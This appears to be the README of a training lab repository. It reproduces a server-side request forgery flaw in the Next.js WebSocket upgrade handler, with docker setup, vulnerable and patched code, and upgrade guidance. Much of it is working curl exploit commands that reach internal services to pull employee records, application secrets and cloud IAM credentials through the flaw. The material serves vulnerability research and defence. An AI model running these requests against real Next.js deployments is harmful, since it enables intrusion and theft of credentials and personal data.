
استغلال لإثبات المفهوم لثغرة CVE-2026-44578 يعيد إنتاج الحالة القابلة للاستغلال، مما يمكّن الباحثين الأمنيين من التحقق من الأنظمة المتأثرة وتقييم الإجراءات التخفيفية.
أكاديمية الأمن السيبراني CERT مشروع بيئة تدريبية لإعادة إنتاج الثغرات لأغراض العرض التوضيحي من قبل المرشد
| العنصر | المحتوى |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS | 8.6 (مرتفع) |
| CWE | CWE-918 (تزوير الطلبات من جانب الخادم) |
| الإصدارات المتأثرة | Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 |
| الإصدارات المُصحَّحة | 15.5.16+, 16.2.5+ |
| يتطلب المصادقة | لا (بدون مصادقة) |
ثغرة في معالج ترقية WebSocket في Next.js (upgradeHandler) حيث يقوم بتمرير
absolute-form URI (RFC 7230 §5.3.2) المُدرج في سطر طلب HTTP دون التحقق منه إلى خدمة داخلية.
يمكن إرسال طلبات HTTP عشوائية إلى خدمات داخلية غير قابلة للوصول من الخارج (SSRF).
[공격자]
│
│ WebSocket Upgrade 요청
│ GET http://internal-svc/api/v1/employees HTTP/1.1
│ Connection: Upgrade / Upgrade: websocket
▼
[nextjs-vuln :3000] ← 외부 노출
│
│ 무검증 프록시 (proxyRequest)
▼
[internal-svc :80] ← 내부망 전용, 외부 직접 접근 불가
│
├── GET /api/v1/employees → 사원 DB (이름·이메일·연봉·pw_hash)
├── GET /api/v1/config → DB 패스워드·JWT 시크릿·Redis 패스워드
└── GET /latest/meta-data/… → AWS IMDS 시뮬레이션 (IAM 크리덴셜)
docker-compose ├── nextjs-vuln (Next.js 15.5.0، إصدار مصاب بثغرة) └── internal-svc (FastAPI + SQLite، مخصص للشبكة الداخلية فقط)
git clone https://github.com/<your-org>/CVE-2026-44578.git
cd CVE-2026-44578
docker compose up --build
بعد اكتمال البناء، يستغرق Next.js من 30 إلى 60 ثانية حتى يصبح جاهزًا.
للتحقق من الجاهزية:
curl -s http://localhost:3000/api/hello | grep ok
طلب HTTP العادي يتضمن المسار فقط بصيغة GET /path HTTP/1.1،
لكن RFC 7230 §5.3.2 يسمح بـ absolute-form الذي يضع عنوان URL كاملاً في سطر الطلب.
GET http://internal-svc/api/v1/employees HTTP/1.1 ← absolute-form URI Host: localhost:3000 Connection: Upgrade Upgrade: websocket
يقوم upgradeHandler في Next.js بتحليل عنوان URL هذا، وإذا كان parsedUrl.protocol موجوداً
فإنه يستدعي proxyRequest() دون التحقق من الوجهة.
يمكن تحديد سطر الطلب مباشرةً عبر خيار curl --request-target.
curl -s --connect-timeout 3 http://internal-svc/health
# → 연결 실패 (외부에서 내부망 직접 도달 불가)
curl -s --http1.1 \
--request-target "http://internal-svc/health" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
curl -s --http1.1 \
--request-target "http://internal-svc/api/v1/employees" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
→ إرجاع الاسم والبريد الإلكتروني والراتب وتجزئة bcrypt بالكامل
curl -s --http1.1 \
--request-target "http://internal-svc/api/v1/config" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
# 5-1: IAM 롤 이름 열거
curl -s --http1.1 \
--request-target "http://internal-svc/latest/meta-data/iam/security-credentials/" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
# 5-2: 크리덴셜 탈취
curl -s --http1.1 \
--request-target "http://internal-svc/latest/meta-data/iam/security-credentials/ec2-hr-api-role" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
router-server.js upgradeHandler)// Next.js 15.5.0 ~ 15.5.15 — 취약
const { matchedOutput, parsedUrl } = await resolveRoutes({
req, res: socket, isUpgradeReq: true,
signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (parsedUrl.protocol) { // ← 목적지 검증 없음
return await proxyRequest(req, socket, parsedUrl, head);
}
بمجرد وجود parsedUrl.protocol، يتم التمرير عبر البروكسي مباشرة. سواء كان المضيف الهدف عنوان IP داخليًا أو
IMDS (169.254.169.254)، فسيتم تمريره دون قيد أو شرط.
15.5.16+)// Next.js 15.5.16+ — 패치
const { finished, matchedOutput, parsedUrl, statusCode } = await resolveRoutes({
req, res: socket, isUpgradeReq: true,
signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (finished && parsedUrl.protocol) { // ← finished 가드 추가
if (!statusCode) {
return await proxyRequest(req, socket, parsedUrl, head);
}
return socket.end();
}
finished يكون true فقط عندما يتطابق الطلب مع مسار صالح داخل resolveRoutes.
لا تتطابق عناوين URI بالصيغة المطلقة (absolute-form) مع أي مسار صالح، لذا يكون finished === false ← حظر الوكيل.
patch-for-lab.js)في بيئة إعادة إنتاج الثغرة، يُخطئ resolve-routes.js في تفسير :// على أنه سلسلة شرطات مائلة متتالية،
فيختزل http://host/path إلى http:/host/path، وهو سلوك يحظر SSRF بشكل عَرَضي.
يقوم patch-for-lab.js بتعطيل هذا السلوك لضمان إعادة إنتاج الثغرة بشكل صحيح.
# 15.x 계열
npm install next@">=15.5.16"
# 16.x 계열
npm install next@">=16.2.5"
# 버전 확인
npx next --version
RUN npm install [email protected] --legacy-peer-deps
# 또는 package.json에서 "next": "15.5.16" 고정 후
RUN npm ci
تطبيق منطق التصحيح الرسمي مباشرةً على الإصدار الحالي باستخدام patch-defense.js المضمّن في هذا المختبر:
# 랩 컨테이너 내부에서
node patch-defense.js
# 상태 확인만 (파일 수정 없음)
node patch-defense.js --check
بعد تطبيق التصحيح، تُحظر طلبات SSRF دون استجابة.
CVE-2026-44578/ ├── docker-compose.yml ├── nextjs-app/ │ ├── Dockerfile │ ├── patch-for-lab.js # تصحيح resolve-routes (لإعادة إنتاج SSRF) │ ├── patch-defense.js # تصحيح دفاعي لـ router-server (لإثبات الدفاع عبر تعديل الكود) │ └── ... ├── internal-svc/ │ ├── Dockerfile │ ├── server.py # خدمة داخلية FastAPI (SQLite + محاكاة IMDS) │ └── requirements.txt └── exploit/ └── demo.sh # سكربت عرض تلقائي من 6 مراحل
يُقدَّم هذا المستودع لأغراض التثقيف الأمني وبحوث الثغرات فقط.
استخدامه في هجمات غير مصرح بها على خدمات حقيقية غير قانوني،
ويجب إجراء جميع الاختبارات فقط في بيئات تملكها أو لديك إذن صريح بها.
هذا المستودع مخصص حصريًا لـ الأغراض التعليمية وأبحاث الأمن المصرّح بها.
الاستخدام غير المصرّح به ضد أنظمة الإنتاج غير قانوني.
يجب إجراء جميع الاختبارات فقط في بيئات تملكها أو لديك إذن صريح باختبارها.